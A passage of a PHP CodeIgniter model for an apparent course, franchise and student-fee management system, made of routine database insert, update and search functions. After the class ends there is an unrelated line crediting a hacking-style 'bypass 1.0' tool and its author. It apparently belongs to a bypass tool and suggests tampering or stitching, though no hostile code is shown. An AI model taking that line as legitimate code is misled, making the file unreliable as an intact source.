        $data['resfunction'] = 'search_batch';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for inventory */

    function search_inventory()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('inventory');
        $this->db->join('franchisee', 'franchisee.franchisee_id=inventory.franchisee_id');
        $this->db->join('course', 'course.course_id=inventory.course_id');
        $this->db->order_by('inventory_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_inventory($postdata)
    {
        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'franchisee_id' => $postdata['franchisee_id'],
            'course_id' => $postdata['course_id'],
            'inventory_type' => $postdata['inventory_type'],
            'inventory_remarks' => $postdata['inventory_remarks']
        );
        $this->db->insert('inventory', $tblValues);
        $data['resfunction'] = 'search_inventory';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_inventory($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'course_id' => $postdata['course_id'],
            'inventory_type' => $postdata['inventory_type'],
            'inventory_remarks' => $postdata['inventory_remarks']
        );
        $this->db->where('inventory_id', $postdata['inventory_id']);
        $this->db->update('inventory', $tblValues);
        $data['resfunction'] = 'search_inventory';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for exam */

    function search_exammaster()
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('exammaster');

        $this->db->order_by('exammaster_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_exammaster($postdata)
    {
        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'exammaster_name' => $postdata['exammaster_name'],
            'course_id' => $postdata['course_id'],
            'start_date' => $this->mastermodel->convertdateformat($postdata['start_date']),
            'end_date' => $this->mastermodel->convertdateformat($postdata['end_date'])
        );
        $this->db->insert('exammaster', $tblValues);
        $data['resfunction'] = 'search_exammaster';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_exammaster($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'exammaster_name' => $postdata['exammaster_name'],
            'start_date' => $this->mastermodel->convertdateformat($postdata['start_date']),
            'end_date' => $this->mastermodel->convertdateformat($postdata['end_date'])
        );
        $this->db->where('exammaster_id', $postdata['exammaster_id']);
        $this->db->update('exammaster', $tblValues);
        $data['resfunction'] = 'search_exammaster';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for branch */

    function search_branch()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('branch');
        $this->db->order_by('branch_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

//   

    /* functions for Center */

    function search_center($pagenum)
    {


        $data = array();
        $this->db->select('*');
        $this->db->from('centre');
        $data['results'] = $this->db->get();
        return $data;
    }

    function update_center($postdata)
    {
        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'centre_name' => $postdata['centre_name'],
            'city' => $postdata['city'],
            'country' => $postdata['country'],
            'address' => $postdata['address'],
            'contact_no' => $postdata['contact_no'],
            'email' => $postdata['email'],
            'fax' => $postdata['fax'],
            'po_code' => $postdata['po_code'],
            'website' => $postdata['website']
        );
        $this->db->where('centre_id', $postdata['centre_id']);
        $this->db->update('centre', $tblValues);
        $data['resfunction'] = 'search_center';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for subject */

    function search_subject()
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('subject');
        $this->db->order_by('subject_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_subject($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $code = $this->mastermodel->get_master_code('subject', 'Subjects', 'subject_code', 'subject_id');

        $tblValues = array(
            'subject_code' => $code,
            'subject_name' => $postdata['subject_name']
        );
        $this->db->insert('subject', $tblValues);
        $data['resfunction'] = 'search_subject';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_subject($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'subject_name' => $postdata['subject_name'],
        );
        $this->db->where('subject_id', $postdata['subject_id']);
        $this->db->update('subject', $tblValues);
        $data['resfunction'] = 'search_subject';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function search_file_type($pagenum)
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('file_type');
        $this->db->order_by('file_type_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_file_type($postdata)
    {

        $data = array();

        $this->db->trans_begin();

        $tblValues = array(
            'file_type' => $postdata['file_type'],
        );

        $this->db->insert('file_type', $tblValues);
        $data['resfunction'] = 'search_file_type';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_file_type($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'file_type' => $postdata['file_type'],
        );

        $this->db->where('file_type_id', $postdata['file_type_id']);
        $this->db->update('file_type', $tblValues);
        $data['resfunction'] = 'search_file_type';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function search_no_sessions($pagenum)
    {
        $data = array();

        $this->db->select('*');
        $this->db->from('no_sessions');
        $this->db->order_by('no_sessions_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function search_expense_type($pagenum)
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('expense_type');
        $this->db->order_by('expense_type_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }
    function search_school()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('school');
        $this->db->order_by('school_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }
    function insert_school($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'school_name' => $postdata['school_name'],
            'city' => $postdata['city'],
            'country' => $postdata['country'],
            'address' => $postdata['address'],
            'po_code' => $postdata['po_code'],
            'contact_no' => $postdata['contact_no'],
            'email' => $postdata['email'],
            'fax' => $postdata['fax'],
            'website' => $postdata['website']
        );

        $this->db->insert('school', $tblValues);
        $data['resfunction'] = 'search_school';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }
    function update_school($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'school_name' => $postdata['school_name'],
            'city' => $postdata['city'],
            'country' => $postdata['country'],
            'address' => $postdata['address'],
            'po_code' => $postdata['po_code'],
            'contact_no' => $postdata['contact_no'],
            'email' => $postdata['email'],
            'fax' => $postdata['fax'],
            'website' => $postdata['website']
        );
        $this->db->where('school_id', $postdata['school_id']);
        $this->db->update('school', $tblValues);
        $data['resfunction'] = 'search_school';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function upload_file($postdata)
    {
        $this->db->trans_begin();
        $tbl1Values = array('master_id' => $postdata['master_id'],
            'file_type_id' => $postdata['file_type_id'],
            'file_date' => date("Y-m-d"),
            'file_location' => $postdata['file_location']);
        $this->db->insert('file', $tbl1Values);
        $this->db->trans_commit();
    }

    function get_data_dual_srow($table, $id1, $field1, $id2, $field2, $sortfield = "")
    {
        $data = array();
        $this->db->where($field1, $id1);
        $this->db->where($field2, $id2);
        if (!empty($sortfield))
        {
            $this->db->order_by($sortfield, 'asc');
        }
        $Q = $this->db->get($table);
        $row = $Q->row();
        return $row;
    }

    function get_alert_datas()
    {
        $data = array();
        $sql = "SELECT `alert_master_name`,`alert`.`alert_master_id`,count(alert.alert_id) 
              FROM `alert_master` 
              JOIN alert on alert_master.alert_master_id=alert.alert_master_id 
              JOIN master on master.master_id=alert.alert_record_id
              WHERE alert.alert_status=1
              GROUP BY `alert_master`.`alert_master_id` ";
        $Q = $this->db->query($sql);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function deletsub($id)
    {
        $this->db->where('id', $id);
        $this->db->delete('course_subject');
    }

    function traceemployee($employee_id, $staff_list)
    {
        $employee_list = $this->mastermodel->get_data('employee', $employee_id, 'employee_reporting_to');
        foreach ($employee_list as $list)
        {
            if ($list['employee_id'] != $employee_id)
            {
                $staff_list .= $list['employee_id'] . ',';
                $this->traceemployee($list['employee_id'], $staff_list);
            }
        }

        $return_list = substr($staff_list, 0, -1);
        return implode(',', array_unique(explode(',', $return_list)));
    }

    function get_account_settings($field, $table)
    {
        $data = array();
        $this->db->select($field);
        $q = $this->db->get($table);
        if ($q->num_rows() > 0)
            $res = $q->row()->$field;
        else
            $res = 0;
        return $res;
    }

    function get_employee_not_user()
    {
        $data = array();
        $this->db->where('`employee`.`employee_id` NOT IN (SELECT `employee_id` FROM `user`)', NULL, FALSE);
        $this->db->order_by('employee.employee_id', 'asc');
        $Q = $this->db->get('employee');

        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function close_batch($id)
    {

        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'close' => '1',
        );
        $this->db->where('batch_id', $id);
        $this->db->update('batch', $tblValues);

        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();


            return 0;
        }
        else
        {
            $this->db->trans_commit();


            return 1;
        }
    }

    function reopen_batch($id)
    {

        $data = array();
        $this->db->trans_begin();

        $tblValues = array(
            'close' => '0',
        );
        $this->db->where('batch_id', $id);
        $this->db->update('batch', $tblValues);

        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();


            return 0;
        }
        else
        {
            $this->db->trans_commit();


            return 1;
        }
    }

    function get_chart_account()
    {
        $data = array();
        $this->db->select('*,finance_chart_master.chart_account_code as chart_account_code');
        $this->db->from('finance_chart_master');
        $this->db->join('finance_bank_account', 'finance_bank_account.chart_account_code=finance_chart_master.chart_account_code', 'left');
        $this->db->having('bank_account_id is null');
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();

        return $data;
    }

//    function autostudentaccount() {
//        $data = array();
//        $this->db->select('*');
//        $this->db->from('finance_chart_master');
//        $this->db->join('finance_bank_account', 'finance_bank_account.chart_account_code=finance_chart_master.chart_account_code','left');
//        $this->db->having('bank_account_id is null');
//        $Q = $this->db->get();
//        if ($Q->num_rows() > 0) {
//            foreach ($Q->result_array() as $row) {
//                $data[] = $row;
//            }
//        }
//        $Q->free_result();
//        
//        return $data;
//    }
    function get_student_account()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('finance_chart_master');
        $this->db->join('student', 'student.reg_no=finance_chart_master.chart_account_code');
        $this->db->order_by('student_id');
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();

        return $data;
    }

    function getdistinct_rec_date()
    {
        $data = array();
        $this->db->distinct();
        $this->db->select('reconcile_date');
        $this->db->join('master', 'master_id=journal_id');
        $this->db->where('reconcile_date IS NOT NULL');
        $this->db->order_by('reconcile_date', "asc");
        $Q = $this->db->get('finance_journal');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_fee_payment_alert($batch_id = 0)
    {
        $output = array();
        $attendance = $this->get_attandence_details();
        $extra = $this->get_extraclass_fee_details();
        $data = array();
        $this->db->select('*,student_batch.current_batch_id as current_batch,student_batch.no_sessions as sessions ,                                                        
                            student_batch.date as batch_date,student_batch.student_id as student_id,
                            student_batch.student_batch_id as student_batch_id,
                            sum(if(fee_id IS NOT NULL ,total_amount,0)) as total_amount', false);
        $this->db->from('student');
        $this->db->join('student_batch', 'student_batch.student_id=student.student_id');
        $this->db->join('batch', 'batch_id=student_batch.current_batch_id');
        $this->db->join('student_cancellation', 'student_cancellation.student_batch_id=student_batch.student_batch_id and student_cancellation.student_id=student.student_id', 'left');
        $this->db->join('fee', 'fee.student_batch_id=student_batch.student_batch_id', 'left');
        $this->db->having('cancellation_id is null');
        $this->db->order_by('student_batch.student_id asc , student_batch.student_batch_id asc');
        $this->db->group_by('student_batch.student_id,student_batch.current_batch_id');
        $this->db->having('cancellation_id is null and remove_alert!=1');
        $Q = $this->db->get();
        $data['batch'] = array();
        if ($Q->num_rows() > 0)
        {
            $temp = "";
            $data['attendence'] = $attendance['att'];
            $data['extra_fee'] = $extra['extra'];
            $data['result'] = array();
            foreach ($Q->result_array() as $row)
            {
                if ($batch_id > 0)
                {
                    if ($row['current_batch'] == $batch_id)
                    {
                        $data['result'][] = $row;
                    }
                }
                else
                {
                    $data['result'][] = $row;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_attandence_details()
    {
        $data = array();
        $this->db->select('*,student_batch.current_batch_id as current_batch,ifnull(student_batch.no_sessions,0) as sessions ,                            
                            sum(if(attendance_date>=student_batch.date,1,0)) as alert_status,
                            group_concat(attendance_date) as att_date,
                            student_batch.date as batch_date,
                            student_batch.student_batch_id as student_batch_id', false);
        $this->db->from('student');
        $this->db->join('student_batch', 'student_batch.student_id=student.student_id');
        $this->db->join('student_cancellation', 'student_cancellation.student_batch_id=student_batch.student_batch_id and student_cancellation.student_id=student.student_id', 'left');
        $this->db->join('attendance', 'attendance.batch_id=student_batch.current_batch_id', 'left');
        $this->db->join('attendance_details', 'attendance_details.attendance_id=attendance.attendance_id and attendance_details.student_id=student_batch.student_id ', 'left');
        $this->db->having('cancellation_id is null and alert_status>sessions');
        $this->db->order_by('student_batch.student_id asc , student_batch.student_batch_id asc');
        $this->db->group_by('student_batch.student_id,student_batch.current_batch_id');
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data['att'][$row['student_id']][$row['current_batch_id']] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_extraclass_fee_details()
    {
        $data = array();
        $this->db->select('*,student_batch.current_batch_id as current_batch,student_batch.no_sessions as sessions ,                            
                            sum(if(extra_class_date>=student_batch.date,extra_fee_amount,0)) as extra_fee,
                            student_batch.date as batch_date,
                            student_batch.student_batch_id as student_batch_id', false);
        $this->db->from('student');
        $this->db->join('student_batch', 'student_batch.student_id=student.student_id');
        $this->db->join('student_cancellation', 'student_cancellation.student_batch_id=student_batch.student_batch_id and student_cancellation.student_id=student.student_id', 'left');
        $this->db->join('extra_class', 'extra_class.batch_id=student_batch.current_batch_id', 'left');
        $this->db->join('extra_class_details', 'extra_class_details.extra_class_id=extra_class.extra_class_id and extra_class_details.student_id=student_batch.student_id ', 'left');
        $this->db->having('cancellation_id is null');
        $this->db->order_by('student_batch.student_id asc , student_batch.student_batch_id asc');
        $this->db->group_by('student_batch.student_id,student_batch.current_batch_id');
        $Q = $this->db->get();
        $data['extra'] = array();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data['extra'][$row['student_id']][$row['current_batch_id']] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function remove_fee_alert($student_batch_id)
    {
        $tblValues = array(
            'remove_alert' => 1);
        $this->db->where('student_batch_id', $student_batch_id);
        $this->db->update('student_batch', $tblValues);
    }

    function get_teacher_batch($batch_id, $date)
    {
        $this->db->where('batch_id', $batch_id);
        $this->db->where('teacher_date <=', $this->mastermodel->convertdateformat($date));
        $this->db->join('employee', 'employee.employee_id=batch_teacher.teacher_id');
        $this->db->order_by('teacher_date', 'desc');
        $this->db->limit('1');
        $Q = $this->db->get('batch_teacher');
        return $Q->row();
    }
    
    function get_course_frachisee()
    {
        $data = array();
        $this->db->where('`course`.`course_id` IN (SELECT `course_id` FROM `franchisee_course`)', NULL, FALSE);
        $this->db->order_by('course_name', 'asc');
        $Q = $this->db->get('course');
        // echo $this->db->last_query();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
    function get_batch_frachisee()
    {
        $data = array();
        $this->db->join('course', 'course.course_id=batch.course_id');
        $this->db->where('`course`.`course_id` IN (SELECT `course_id` FROM `franchisee_course`)', NULL, FALSE);
        $this->db->order_by('batch_name', 'asc');
        $Q = $this->db->get('batch');
        // echo $this->db->last_query();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
    
//    function get_pending_course_amount($student_batch_id, $date = '')
//    {
//        $student_batch_details = $this->mastermodel->get_data_srow('student_batch', $student_batch_id, 'student_batch_id');
//        $course_fee = $student_batch_details->course_fee;
//        if($date == '')
//            $date = date("Y-m-d");
//        $this->db->where('scf_student_batch_id', $student_batch_id);
//        $this->db->where('scf_wef_date <=', $date);
//        $this->db->order_by('scf_wef_date', 'desc');
//        $this->db->limit(1);    
//        $Q = $this->db->get('student_course_fee');
//        $row = $Q->row();
//        if(!empty($row))
//            $course_fee = $row->scf_course_fee;
//        if($student_batch_details->recurring == 0 || $student_batch_details->no_sessions == 0)
//            return $course_fee;
//        else
//        {
//            
//        }
//    }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net